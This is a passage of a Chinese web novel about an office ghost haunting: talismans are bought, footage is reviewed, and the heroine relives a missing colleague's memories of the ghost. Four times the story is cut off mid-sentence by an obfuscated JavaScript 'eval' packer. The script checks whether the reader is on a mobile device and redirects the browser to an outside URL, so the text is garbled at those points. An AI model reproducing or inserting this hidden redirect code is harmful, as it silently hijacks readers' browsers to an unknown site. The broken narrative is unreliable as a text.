要知道，陈母经历的一切怪事都是从她撕碎了陈欣欣的最后一张符箓开始的，她突然福至心灵，意识到了符箓的真正作用，“这个……一张要多少钱，五万？” “五万？”纪明霜说，“你这么有钱啊，陈欣欣一个月的工资还不到五千……” 陈母理了理凌乱的头发，把手机从包里拿了出来，“是她爸爸说，女孩子有钱就会变坏，所以……” “哦。”纪明霜比了一个数字，说，“这种符箓，我卖给别人，是这个价格，卖给你们，价格翻倍，有意见吗？” 价格比想象中的更加便宜，陈母隐隐松了口气，连忙说道，“没有，没有，不过，这东西管用吗？” 纪明霜：“爱买不买。” 陈母说，“小姑娘，主要是，这东西要是没用，不就白花钱了吗……” 纪明霜：“呵。” “那我少买点，先来二十张。” “哪有那么多，又不是批发？” 说实话，画这么一张符箓真的不容易，黄纸、朱砂、毛笔都很讲究，心境也非常重要。 收到纪明霜的订单之后，道长白天去道观上班，晚上回来挑灯画符，心台澄净，才能落笔画符，要是心浮气躁，那就画不出来。 每当画不出来，道长就得出门散心，看看花，看看草，看看小区池塘里的普通草鱼，看看小区绿化带里的普通麻雀，心静下来之后，没有丝毫尘念，这才继续回家工作。 一开始收到订单的时候，道长还是蛮开心的呢，不用跑业务，还能赚到钱。 但纪明霜的订单数量越来越多，道长感觉……这好像不太对吧。 这次纪明霜直接订了十张，给道长累了个半死，虽然不是什么体力活，但也是很费心神的。但消极怠工也不行，毕竟是人命关天的事。 陈母一次就想订二十张……哪有那么多啊。 纪明霜说，“只能卖你们两张。” 陈母，“小姑娘，两张不够用啊，还有我老公呢。” 纪明霜：“三张。” 陈母：“万一不小心弄坏了……” 纪明霜：“三张，不能再多了。” 陈母：“好吧。” 陈母从纪明霜那里拿到了三张符箓，因为价格翻倍，所以她给纪明霜转去了六张符箓的钱。 纪明霜之前给陈欣欣拿了三张符箓，并没有跟她要钱，嗯，很好，这下平账了。 这钱赚得还挺容易，要不是道长的精力有限，画不了太多符箓，不然她都可以直接转行了。 她最后叮嘱道，“这个不能碰水，碰水就会失效，还有就是，理论上佩戴、张贴都是有用的，也可以焚烧以后放入水中喝掉，嗯，其实我不太建议这样做，一是因为不太好喝，二是因为，朱砂服用过量会导致中毒。” 陈母听得一愣一愣的，“小姑娘，你们这行还挺讲究科学的嘛……” 纪明霜振振有辞，“那可不，道观里还有党支部呢，要拒绝迷信，相信科学。” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419855|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母看了看纪明霜身旁不怎么说话的林然，又看了看正在阴暗爬行的唐宇，又看了看手里拿着的符箓，“这……” 纪明霜一本正经是解释道，“嗯，这些现象看似不怎么科学，但是我觉得，以后还是可以用科学来解释的，嗯，我是唯物主义者。” 陈母：“……” 陈荣：“……” 纪明霜离开了陈家，她先是去公司打了卡，然后进了办公室里。 唐宇也跟着来了，但是，如果他能有用一点的话，就不至于这么没用了……纪明霜无不嫌弃地想。 她突然收到了一条消息，是雁雁妈妈发过来的，她已经成功入职了靳尤白家的公司，目前正从事软件测试的工作，因为这份工作的薪资很可观，她可以把兼职辞掉，更加专心地照顾雁雁了。 她搬到了新的小区，这个小区就在雁雁的学校附近，雁雁交到了两个同龄的新朋友，变得活泼了好多，也多了些孩子气，而且，不知道为什么，雁雁现在还蛮喜欢吃番茄味的薯片的。 纪明霜还蛮欣慰的，她们已经过上了全新的生活。 也不知道陈欣欣现在在哪呢…… 现在要怎么找呢？ 纪明霜的办法是——查监控。 周可音就算是再有能耐，也没有办法让陈欣欣凭空出现在公司里。如果真有这样的情况，更有可能是鬼魂制造的幻觉。 就比如说，鬼能把一个人家里的门打开，能让画框从墙上掉在地上，能把杯子从桌上推在地上，甚至能让一个躺着的人悬空漂浮，但是鬼没办法把一个大活人从外面运送到公司里。 原理很简单，这太耗费能量了。 有些人的确能用意念控制物体悬浮，他可能拥有很强的精神能量，也可能是一个魔术师。 对于鬼来说也同理，也许他拥有很强的力量，也有可能制造了幻觉。但前者实在是太太太难了，如果鬼真的这么有能耐，那这个世界不得乱了套了。 所以，纪明霜必须在不受幻觉影响的情况下，查监控。 理论上，纪明霜可以烧掉符箓，和水吞服，但纪明霜其实不太想喝符水。 因此，她把陈欣欣失踪到她查监控的时间段的监控下载了一份，发给了雁雁妈妈。 周可音再怎么制造区域性的集体幻觉，也影响不到现在正在另一栋公司大楼里办公的雁雁妈妈。 公司只有一个入口，查看这里的监控录像就可以，工作量并不算很大。 而纪明霜和林然则是继续在公司大楼内寻找着。 过了一段时间，雁雁妈妈发来了一段视频，“小纪，我截出一段视频，你看，这个是不是你发来照片中的那个女孩？” 纪明霜去了公司楼下的咖啡店，点了一杯牛奶，打开了那段视频，视频上标注的时间是下午两点左右，那个时候，公司的楼下人来人往，公司一楼的大厅里还有不少人，但他们就像看不到陈欣欣一样，都在自顾自地做着自己的事，等电梯、讲电话、取咖啡，送文件。 陈欣欣的左脚穿了一只鞋子，右脚上只穿了一双蓝色波点的袜子，她披散着一头长发，身上的衣服被撕坏了好几处，像刚刚虎口逃生一样，最引人注目的是，她的手里提着一把西瓜刀，那是一把能把大西瓜竖劈两半的长刀，刀刃处闪着冷冷的寒光。 43. 第43章 蜡烛 纪明霜目不转睛地盯着视频里的西瓜刀，这把刀可真长啊…… “难道那时，她就是用这把刀扎进了我的眼睛里？” 林然说，“嗯，就是这把。” “我居然没死，那还真是个奇迹……” “那是因为那把刀的形状比较特殊，你看，它的刀身是宽度变化很大的流线形，刀尖扎进了你的眼里，然后就卡在你额骨和颧骨之间，换句话说，就是卡在你头骨的眼框的位置，没有扎进你的脑子里，所以你只是摘除了眼球而已……” “但是听起来真的好痛……” “放心，当时受痛的人不是你……说实话，被扎进去的时候不是很疼，但她发现刀卡住了，就开始转动刀柄，想换个方向把刀捅进来……啊，那时真是疼得要死，我还得把她压制住，不然你当时就死了。” “谢谢你，我会多加小心的。”纪明霜捧着咖啡店里可可爱爱又热乎乎的牛奶杯，“为了我能活下来，你付出了这么多，但我又让自己处于危险的境地了，明明知道周可音在等着我，但我还是得回公司……” “你愿意帮助别人是你的事，我愿意为你承担部分生理上的疼痛是我的事，这两者好像没有什么关联吧……你之前没有多管闲事的时候，也不见得能活得很长，就算遇到最糟糕的情况……我也会陪你一起的。” 纪明霜闻到了热牛奶特有的让人安心的甜香，“还有就是，等这件事结束之后，我想查清你的死因。” 林然隔空敲了一下她的脑袋：“喂，我说的话，你听进去了吗，与其做这些无聊的事，还不如躺在床上或者沙发上玩手机，能让我看到你还活着，并且保持呼吸，不要断气，这比什么都强。” “……但是，我也想知道我的过去。” “你过去是一个笨蛋，当然，现在也不怎么聪明。”林然说，“不过，随你去吧，尽量不要死掉啊。” 纪明霜喝了一口牛奶，嗯，很好，这家店里牛奶的奶味很重，香香的，醇醇的，不像某些牛奶，经过太多稀释，奶味已经很淡了。 “我会加油的。” 纪明霜回到办公室的时候，领导、主管、孙才、还有陈母都在等着她。 纪明霜可没见过这样的架势，“你们这是……” 陈母说，“我没找到欣欣，她爸爸正从邻市赶回来，我、我好担心她……” 领导宽慰她说，“没事的，公司开了这么久，还没出过什么事呢……” 陈母擦了擦眼角的泪水，“我之前也不怎么信这个，我心想，不过是以讹传讹，危言耸听而已，但是今天，但是今天，你们都不知道我经历了什么，我感觉我差一点就死了……还有我的阿荣，我回家的时候，看到他正吊在风扇上。” 领导瞪大了眼，“这……这是真的吗？” 陈母说，“当然是真的。” 孙才说，“也许你应该关注一下青少年心理健康教育？” “不是，他是被人给害了……” “那……报警了吗？” “没法报警，那根本不是人……” 陈母的情绪有些崩溃，说话也没什么逻辑，领导和孙才面面相觑，领导清了清嗓子，“老同学，这个嘛……你想在公司找人也可以，那个，小纪，这位阿姨就由你来招待了……” 陈母也充满希冀地看着纪明霜，“那个，小姑娘，我们接下来该怎么办呢……” 纪明霜把刚刚收到的视频打开，把手机递给了陈母，“就目前的情况而言，我觉得欣欣现在就在这栋大楼里……” 孙才也凑过来，跟着看了视频，他也看到了陈欣欣手里拿的那把刀，意识到了事情的严重性，“这……我们要报警吗？” 陈母说，“不行……绝对不行，要是欣欣被抓走了，就没人能帮她了。” 领导也不想把事情闹大，他沉吟道，“我们大家先分头找一找，如果有谁找到了她，不要轻举妄动，先通知其它人……” 纪明霜：“这个时候就不要分头行动了吧……” 陈母：“啊？” 纪明霜：“嗯。” 很明显，周可音并不满意陈欣欣，这才把陈欣欣搞成这副破破烂烂的样子。 如果周可音不想要陈欣欣，那她到底想要谁呢…… 该不会是自己吧…… 现在，纪明霜身上有靳尤白托小敏送来的那张闪着金光的符箓，还有道长寄来的虽然是仿制但也非常有用的符箓，而且是七张，还有林然也在她的身边。 现在她还是比较安全的。 但纪明霜还是隐隐感觉不太对。 她好像漏掉了什么重要的事。 到底是哪里呢…… 林然突然说道，“时间。” 纪明霜：“啊？” 密切关注着纪明霜状态的陈母也：“啊？” 不知道是不是因为符箓的关系，陈母现在已经看不到林然了，自然也听不到林然所说的话。 纪明霜问道，“你说什么时间？” 陈母看了看手表，“现在已经五点半了……” 林然问道，“陈荣见鬼之后，陈欣欣那边也发生了异常，这中间的时间差是？” 纪明霜询问了陈母，陈母说，“阿荣刚醒就给我打了电话……” 也就是说，两边的异常差不多是同时发生的…… 那周可音是怎么同时影响两个地方的人的？ 据小陈哥所说，陈欣欣被带离公寓的时候，周可音就在公寓楼门口等她，在车上，陈母撕毁符箓之后，异变陡然发生，所以纪明霜更倾向于，周可音一直是跟着陈欣欣的。 那陈欣欣是怎么让陈荣做噩梦的？ 是以梦作为媒介的吗，还是利用了唐宇…… 也不知道唐宇又去哪了，算了，以他的性格，不拖后腿就很好了。 真是没用的家伙！ 晚上，纪明霜、林然、刚刚赶回来的陈父、忧心忡忡的陈母，以及打酱油回来的唐宇都留在了公司。 除此之外，陈父还请来了一位大师，大师还带着一位弟子。 这位大师看上去差不多四十岁左右，个子不高，身材微胖，脸上的肉有些浮肿，戴着一副不怎么合适的圆框眼镜，那位弟子看上去和纪明霜差不多年纪，脸又圆又短，下巴稍尖，眉毛浓密，嘴唇很薄，长得还比较聪明，但他似乎并没有意识到事情的严重性，一边吃着陈父打包过来的晚餐，一边喝啤酒，还抽空给女朋友回消息。 眼看着时间就快到晚上八点了，陈母的心情越来越焦虑，陈父反而和大师聊得很投机，大师给陈父讲了很多专业知识，纪明霜也认真地听着。 她也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419856|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这位大师有没有真材实料，因为长相真的不能作为评价标准，而那些专业知识，纪明霜闻所未闻。 大师和弟子应该是看不到鬼的，因为他们看不到林然，不过，就算看不到鬼，也不影响捉鬼，所以纪明霜仍在观察。 她心里也没底，多几个人来帮忙总归是好的。 这时，员工休息室突然停电了。 纪明霜站了起来，环顾四周，周围很暗，什么都看不到。 陈母试探着叫了一声，“欣欣？” 没有回应。 大师从背包里拿出了蜡烛，陈父掏出了打火机，员工休息室里点了蜡烛，整个房间里都被氤氲的暖黄色烛光笼罩着，几人原本准备继续吃喝，只是那个弟子突然大叫了一声，“啊！” 师父打了弟子的头一下，“‘啊’什么啊，怎么回事，停个电而已，一惊一乍的。” 弟子的手指颤颤巍巍地指向墙上的影子，“那个影子……那是谁的影子？” 陈母说，“那是我的影子。” 她举了举手，那个影子也跟着举手，弟子这才拍拍胸口，“不好意思，不好意思，我和师父刚刚解决了一个恶鬼，所以我现在还有点杯弓蛇影。” 陈父说，“那个恶鬼的事……能不能请大师给我讲讲。” 大师继续夹菜，“没问题。” 这时，几人听到了一声轻笑。 那是一个年轻女子的笑声，陈母喃喃道，“你们听到了吗，好像是欣欣的声音……” 大师迷茫地摇了摇头，弟子确信地点了点头，陈父沉默不语，陈母站了起来，“欣欣，你在这里吗？” 没有回应。 饭桌上，唯一和弟子同龄的人只有纪明霜，因此，弟子对纪明霜的关注会多一些。 这时，他发现纪明霜正盯着一个地方看，于是，他也顺着纪明霜的目光看过去，他咬了咬筷子，什么嘛，还是那个陈阿姨的影子啊…… 等等。 怎么感觉哪里不太对。 他看了看影子，又看向了陈母，而后惊恐地瞪大了双眼，他没有作声，扯了扯大师的衣袖，大师正在和纪父攀谈，没有理会他，而后，他更用力地扯了扯大师的衣袖，大师这才略带不悦地看过来，小声地说，“臭小子，你师父我好不容易吃顿好的，你这是在干什么？” 弟子向他眼神示意，示意他看向那个影子。 大师有些不解，不就是个影子吗，有烛光，就会有影子啊。 况且刚刚就说过这件事，这不是那个陈阿姨的影子吗？ 而后，大师也瞪大了眼。 不对。 那位阿姨明明已经站了起来，可那个影子居然还是坐在那里。 不会是自己喝多了酒，喝出幻觉了吧…… 大师揉了揉眼睛，再次看去，只是，那个影子居然朝着他看了过来。 他指着那个影子，“大家快看！” 看到那团诡异的影子，众人俱是一惊。 虽然有大师坐镇，但房间里的人还是乱了起来，大师拿着符纸和桃木剑，回头训斥道，“你们几个，如此慌张，居然还不如一个小姑娘……” 弟子用力地推了一把纪明霜，纪明霜倒在了休息室的沙发上。 “不对，她没反应了，她、她好像已经死了！” 44. 第44章 隔间 那么问题来了，纪明霜死了吗？ 当然没有！ 她只是进入了幻境之中。 纪明霜站在公司的楼道里，看着陈欣欣走进了卫生间，她也跟着走了进去，她想，这里应该是陈欣欣的记忆世界吧…… 她站在隔间外面的盥洗室里等待着，这里有两个同事正一边洗手，一边聊天。 “说起来，你知道那个陈欣欣吗，最近新来的关系户同事。” “知道啊，行政部的那个，怎么，她又有瓜了吗……” “‘又’？你的消息还蛮灵通啊……” “那可不，最近大家都在说她的事啊……主要还是，啧，太奇葩了。” 公司卫生间的隔音很差，陈欣欣听到了她们的对话，为了避免尴尬，她没有走出去。 只是，这两个同事也太能八卦了吧，她们至少聊了十分钟，从陈欣欣到主管，又从主管到领导，最后才心满意足地用烘手器把手烘干，然后离开。 陈欣欣这才从隔间里走了出来，她沉默地走到盥洗室，慢慢地洗着手，纪明霜不知道她在想什么，只能看到她脚下的影子是不同寻常的黑。 在她洗手的时候，盥洗室的门突然关闭了，她条件反射地看向门口，只见盥洗室的门口站着一个穿着红衣的女人。 不对，那根本不是人。 那是一个女鬼啊。 那个女鬼的头发很多，非常杂乱，像疯长的玉米穗子，遮住了她的整张脸。她的皮肤是很浅很淡的蓝灰色，手腕上蓝黑色的血管明显极了，她身上穿着一套厚重的红衣，像是旧时的嫁衣，但是完全不合身，都能露出她的一截小腿，也正因如此，纪明霜能看到她的双脚，没有穿袜子，也没有穿鞋，就这么踩在地上。 嗯，她的双脚是反着长的，她明明地面向陈欣欣的，但她的双脚却是朝后的，纪明霜能看到她脚趾上青蓝色的趾甲。 陈欣欣难以置信地呆立在原地，突然惊叫出声，盥洗室的门是关着的，她只能躲去隔间那边，颤抖着拿出了手机，没有信号。 陈欣欣只能躲在最里面的隔间里，一个人抱成一团，瑟瑟发抖。这个时间段使用厕所的人不少，过了一会儿，有人推开了盥洗室的门，“怎么回事啊，是谁把卫生间的门关掉了，我还以为是在打扫卫生，刚刚去楼下上了厕所。” “也许是风吹的？”另一个女人说。 “确实有可能，这里怎么凉飕飕的啊……” 两人的话还没有说完，就见陈欣欣从厕所里慌慌张张地跑了出去，“她……这是怎么回事？” “噫，这里的地上有水诶，帮我看看，有没有溅到身上……” “哎呀，好像有一点，真是的，她好脏哦。” 纪明霜也跟着陈欣欣离开了盥洗室，陈欣欣回到了办公室里，一副惊魂未定的模样，周可音在门口探头看她，“咦，陈欣欣，你怎么这副表情，没出什么事吧。” 看到熟悉的人，陈欣欣的眼泪瞬间掉下来了，“周小姐，我在公司的卫生间里见鬼了……” “是吗。”周可音坐在陈欣欣办公室的另一张椅子上，“来，把事情讲给我听听吧。” 纪明霜看得很清楚，周可音在听陈欣欣断断续续地讲述刚才的经历时，露出了莫测的笑容，与此同时，躲藏在陈欣欣影子里的黑色物体也移到了周可音的身边。 那个黑色物体就是唐宇…… 在陈欣欣恐惧无助的时候，在陈欣欣为他担惊受怕的时候，在陈欣欣受到生命威胁的时候，他一直都是跟在陈欣欣的身边的。 这个混蛋。 与此同时，纪明霜身边的场景发生了变化，她又站在了卫生间的门口，而陈欣欣则是跟在两个女同事的身后，一起进了卫生间。 那两个女同事跟陈欣欣并不熟络，她们聊着最近的工作和八卦，并没有理会陈欣欣。 之前发生了这样的事，陈欣欣已经不敢一个人上厕所了。 在陈欣欣进入隔间之前，一切都很正常，水流声，水滴声，还有那两个女同事聊天的声音，但当陈欣欣进入隔间之后，周围的声音瞬间消失了，这里静得可怕。 过了一会儿，周围也没有恢复正常，陈欣欣只能壮着胆子，慢慢地推开隔间的门。 盥洗室的门依旧是关着的，那个女鬼也再次出现在了门口，只是，上次她离门口很近，这次，她离门口有一步的距离。 所以，在陈欣欣看来，那个女鬼离她更近了。 她又一个人在卫生间的隔间里躲了好久，可是这次，周围的环境迟迟没有恢复正常。陈欣欣至少等了一个小时，她没有办法，不能坐以待毙，于是，她离开了隔间，准备快速跑出去。 但当她跑到女鬼面前的时候，女鬼突然歪了歪头，陈欣欣脚底打滑，摔倒在地。盥洗室的地上原本就有积水，她的工作服被弄湿了，但在此时，她听到了‘纪明霜’的声音，“欣欣？” 此时的真·纪明霜：“……” 完蛋，这不是她的声音。 是鬼冒充的。 陈欣欣对这一切浑然不知，她爬了起来，周围已经恢复了正常，那只女鬼也不见了，她跑到了楼道里，看到了‘纪明霜’。 ‘纪明霜’正拿着文件站在办公室的门口，“欣欣，你这是怎么了，衣服怎么湿湿的。” 陈欣欣小跑过去，小心地抓住了‘纪明霜’的手，尽管她此刻狼狈极了，但感受到‘纪明霜’手上传过来的温度，她的心里总算是安定了不少，她一边说话，一边左顾右盼，语气很是急切，越急越说不清楚，“小霜，公司里……公司里……” ‘纪明霜’笑着问道，“公司里怎么了啊，你看看你，急成这个样子，来我办公室坐坐吧。” 陈欣欣点点头，跟在了‘纪明霜’的身后，进了‘纪明霜’的办公室。‘纪明霜’很是贴心，把毛巾在温水里浸泡、拧干，又递给了陈欣欣，“来擦擦吧。” 陈欣欣接过毛巾，擦了擦手，“小霜，公司的卫生间里有鬼，我已经见到她两次了……她的样子真的好可怕，我觉得我不能继续待在公司了……” ‘纪明霜’失笑，“欣欣，大白天的，做什么梦呢，这个世界上是没有鬼的。” 陈欣欣摇了摇头，“我之前也是这么认为的，但这次是我亲眼所见。” “咦？”‘纪明霜’从陈欣欣的手里拿回了毛巾，又转过身，把毛巾再次浸泡、拧干、晾好，“不会是有人故意吓唬你吧……貌似确实有人会搞那种无聊的恶作剧。” 陈欣欣反驳：“不是，没有，我真的见到鬼了。” ‘纪明霜’继续工作，没有看她，“那，欣欣，你能跟我讲讲，你见到的鬼是什么样的吗？” 陈欣欣说，“她的头发遮住了脸，身上的衣服是暗红色，而且她的双脚……” ‘纪明霜’转过了头，“……双脚？” 陈欣欣惊恐地捂住了嘴，此时，‘纪明霜’的双脚也是向后长的。 ‘纪明霜’暂停了手里的工作，幽幽地盯着她，“欣欣，怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419857|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说了，她的双脚是什么样的？” “没、没什么……” “唉呀，怎么回事啊，刚刚还一副‘我有话要说’的样子，现在怎么变成一只锯了嘴的葫芦啦，还是说……你、认、出、了、我、的、脚？！” ‘纪明霜’最后的那句话，是饱含着怨气，咬牙切齿地说出来的。 陈欣欣站了起来，向后退去，但她的身后，是冰冷的瓷砖和窗户。 不对，办公室的墙壁是粉刷的，哪里会有瓷砖和窗户，而且，那扇窗户，那扇窗户…… 分明是公司卫生间的窗户！ 果然，下一秒，她又回到了卫生间，又坐在了盥洗室的地上，空气冷冰冰的，工作服湿答答的，‘纪明霜’已经变成了那个女鬼，此时离她更近了一些，似乎只有一步之遥。 “啊——” 陈欣欣崩溃了。 这里是陈欣欣的记忆世界，纪明霜没有办法干涉，只能静静地看着，原来陈欣欣早就开始经历这些怪事了，但她当时还在为女鬼和小鬼的事奔忙，并没有意识到陈欣欣的异常。 现在也没有别的办法，只能继续看下去了…… 陈欣欣醒来的时候，是在员工休息室里。她撑着身体坐了起来，缓缓地呼出一口气，“啊……原来是梦啊，真是的，好真实的噩梦，真是吓死我了。” 可是，当她坐起来的时候，她才发现，不对，事情不对。 如果这真的是噩梦的话，那她的工作服怎么会是湿的。 所以这并不是梦。 她尖叫出声。 但此时的员工休息室里，还有其他同事在休息。 有同事刚刚睡着，然后那个独占一个小沙发，还把小沙发弄脏的关系户同事突然像一个神经病一样惊叫出声，尖叫声都快穿破耳膜，遇到这种情况，无论是谁都会生气的。 “陈欣欣，你是怎么回事，疯了吗？”一个男同事说。 另一个同事也抱怨道，“大小姐，你也不看看这是什么地方，我才刚刚睡着呢……” 也许是陈欣欣脸上的表情太过惊悚，旁边的同事也有些懵，“不是，你这是怎么回事啊，你这是……做噩梦了？” “不是梦，不是梦……”陈欣欣慌张地问道，“我……我是怎么来这里的？” “走过来的啊，不然呢，领导亲自公主抱你过来？” 陈欣欣追问道，“你看见了吗？” 另一个同事直接站了起来，“陈欣欣，你注意点，这里是员工休息室，不是你家，我们也不是你爸妈！” 陈欣欣的状态明显不太对，“哦……是这样吗，是这样啊，真的是……真的是完蛋了……” 她离开之后，站起来的同事躺了回去，嘟囔着，“她这是怎么回事啊，神经病吗？” 另一边，陈欣欣摇摇晃晃地走了出去，纪明霜跟在她的身后，陈欣欣先去了公司的洗衣机那边，一个人把工作服洗了，她站在洗衣机前，看到透明盖子里不停翻转着的工作服，安静地发着呆。 洗好之后，她找了个衣架，把工作服挂好。 其实这种衣服，又轻又薄，质量又差，随便找个地方晾晾就好，甚至直接挂办公室的门上都可以。 但是这个傻姑娘，在楼道里绕了好久，还在纪明霜办公室的门口探头探脑，迟迟不敢进去。 在纪明霜招呼她之后，她提着都快干了一大半的工作服走了进去，“小霜，你这里有能挂衣服的地方吗，我用公司的洗衣机洗了我的工作服。” 45. 第45章 游魂 那天中午，和纪明霜聊完之后，陈欣欣回到了她的办公室里，拿出手机开始打电话。 电话响了很久才被接通，一接通，陈欣欣的眼泪就再也忍不住了，“妈……” 陈母的声音中透着些许不耐烦，“什么事啊，欣欣，我正给你弟弟煲汤呢。” “妈，公司里有鬼，我好害怕，我想辞职。” “有鬼？”陈母嗤笑了一声，“别整天疑神疑鬼的，正是因为你平时说的话，做的事，太过悲观和丧气，没有正能量，所以才出现这样的事，我这里有几篇不错的文章，发给你了，你自己读读看。” 陈母把电话挂断了，过了一会儿，陈母发来了几篇文章，标题分别是： 穷困潦倒，一次善举，竟成亿万富翁！ 泪流满面，母亲去世之后，女儿才知良苦用心！ 善待弟弟，血亲是这个世界上最珍贵的礼物！ 温暖人心，九个姐姐为弟买房，感人肺腑，网友泪奔！ 纪明霜：“……” 实际上，别说是纪明霜了，在看清这些标题的时候，挂在陈欣欣身上的周可音也露出了一言难尽的嫌弃表情。 陈欣欣没忍住，给陈母又打去一个电话，这次她没提公司有鬼的事了，只是跟陈母说，“妈，我想辞职。” 陈母说，“想都别想，你知道我给你找这么一份工作有多不容易吗，求爷爷告奶奶的，结果你说不干，就不干了？” 陈欣欣试图跟她妈妈讲道理，“妈，不是我不想干，但是这份工作，我实在干不了……要不咱们换一份工作吧，只要不在这里上班，你让我去哪儿都行。” “陈欣欣！”陈母深深吸了口气，仍无法抑制心中的愤怒，“为什么，我不明白，我到底哪里对不住你，你要这么对待我，为什么你总是这么懒惰，为什么你总是爱抱怨，为什么你总会给我带来数不清的麻烦，我是上辈子欠了你的吗，你什么时候才能像阿荣一样，稍微懂事一点，让我省点心呢？” “妈，我可以自己辞职，自己找工作，不用你们给我安排……” 陈欣欣的话还没说完，就被陈母打断了，“你懂什么，我把你介绍进来，是走了关系的，人情世故，你到底懂不懂啊，哦，你说辞职就辞职，你让我怎么跟你的领导交待？” “人事变动是很正常的事，你要是说不出口，那我去跟领导说。” “说什么，说你不思进取，不懂上进，不想工作，就想待在家里，挥霍我和你爸的棺材本，当一只可耻的蛀虫？” “我自己也能找到工作，况且这份工作和我的专业也不对口……” “陈欣欣，你也不仔细想想，你的专业都不对口，你是怎么被招来的，你应该更珍惜你的工作，我让你每天早上去给领导擦擦桌子，泡杯热茶，再浇浇花，你做了吗？” 陈欣欣：“我们领导的办公室，平时是锁着门的。” “哼，又找理由，你听着，陈欣欣，我对你非常失望！” 陈欣欣：“我不在乎，我现在只想辞职。” “这……你是认真的？” “嗯。” 于是，陈母开始哀嚎，哭得很是伤心，“陈欣欣，我怎么会有你这样的女儿，人情淡薄，六亲不认，不思进取、寡廉鲜耻，算妈求你，妈求求你啦，妈求求你啦，妈给你跪下了，妈给你磕头了……” 而后便是一阵无意义的悲怆哀嚎，陈母不去做一个职业哭丧人真是屈才了。 平时，这招对陈欣欣很是管用，毕竟是亲生母亲，招呼陈欣欣来吃饭的时候还是有着些许温情的，陈欣欣又一向心软，如果不是原则性的问题，就会尽量做出让步。 但是，如今…… “妈，如果我说，我继续工作，有可能会死，你也不愿意让我辞职吗？” 听到有转机，陈母立刻不哭了，“唉呀，你想多啦，上个班而已，怎么可能会死呢？” 陈欣欣沉默不语。 陈母放下心来，笑嘻嘻地说，“欣欣啊，就这么说吧，你就算死掉，也不能辞职，明白吗？” 陈欣欣安静地趴在了桌子上，“我明白了。” 陈母笑得更开心了，“那欣欣，你现在不辞职了吧？” 陈欣欣：“不辞职了。” “那就好，真是妈妈的乖女儿。” 陈欣欣把电话挂断了。 这时，纪明霜也给她打来了电话，陈欣欣的嗓音有些嘶哑，所以她并不想接电话。她凝视着手机屏幕，看了很久，长长地叹了口气，把手机关机，放进了包包里。 她坐在椅子上，安静地流眼泪，哭得累了，就睡着了。当她醒来的时候，她直觉不对，怎么回事，办公室里怎么会这么冷呢？ 她没敢抬头，但她能看到，她身上穿的还是那件弄湿的工作服，她的身下还是盥洗室那因漏水而又湿又滑的瓷砖地面，她的面前是一双脚，一双向后长着的脚。 她慢慢地抬头看去，那个鬼影正在慢慢地低下头来，‘那东西’的头离她的脸越来越近，直至那张鬼脸都快贴在她的脸上，她能感觉到对方身上那件厚重的类似婚服的衣物的重量，那冷硬的触感让她感到胆战心惊，‘那东西’的头发丝也垂落下来，落到了她的头上、肩膀上，领子里，她似乎已经被对方困住了。 “欣欣！” 门外传来了‘纪明霜’的声音。 此时正处在陈欣欣记忆空间里的真·纪明霜：“……” 不是吧…… 怎么又来这招！ ‘纪明霜’打开了盥洗室的门，‘她’似乎看不到那个女鬼，只是对陈欣欣说，“欣欣，你怎么坐在地上，你没事吧？” 陈欣欣向后退了一点，拉开了和女鬼的距离，她看了看女鬼，又看了看‘纪明霜’，幸而纪明霜的双脚是正常的，‘纪明霜’关切地走到她的面前，弯下腰来，向她伸出手，“主管在工作群里发了通知，现在要去开会呢，我们一起过去吧。” 女鬼从洗手池下面的地漏里流走了，陈欣欣轻轻地点了点头，“嗯。” ‘纪明霜’把她从地上扶了起来，又掏出纸巾给她擦了身上和手上的水迹，“怎么回事啊，你怎么这么不小心。” 陈欣欣欲言又止，最后也只是说，“我、我一不小心脚滑了。” ‘纪明霜’说，“这样啊。” 陈欣欣看着‘纪明霜’正把她往隔间的方向扶，有些疑惑地问，“小霜，你是要上厕所吗？” ‘纪明霜’说，“不是哦，我们要开会呢，只差你一个人了。” “在……在女卫生间开会？” ‘纪明霜’说，“是啊，有什么问题吗？” 陈欣欣开始奋力挣扎，但挣扎无效，见她不配合，‘纪明霜’也冷下了脸，她把陈欣欣推倒在地，揪着陈欣欣的头发，不顾陈欣欣的痛呼和挣扎，把她拖进了卫生间里。 在那里，陈欣欣看到了公司的所有人，领导、主管、孙才、办公室阿姨、爱八卦的男同事，爱喝花茶的女同事……再加上她和‘纪明霜’，所有人都在这里。 但是所有人，所有人，甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 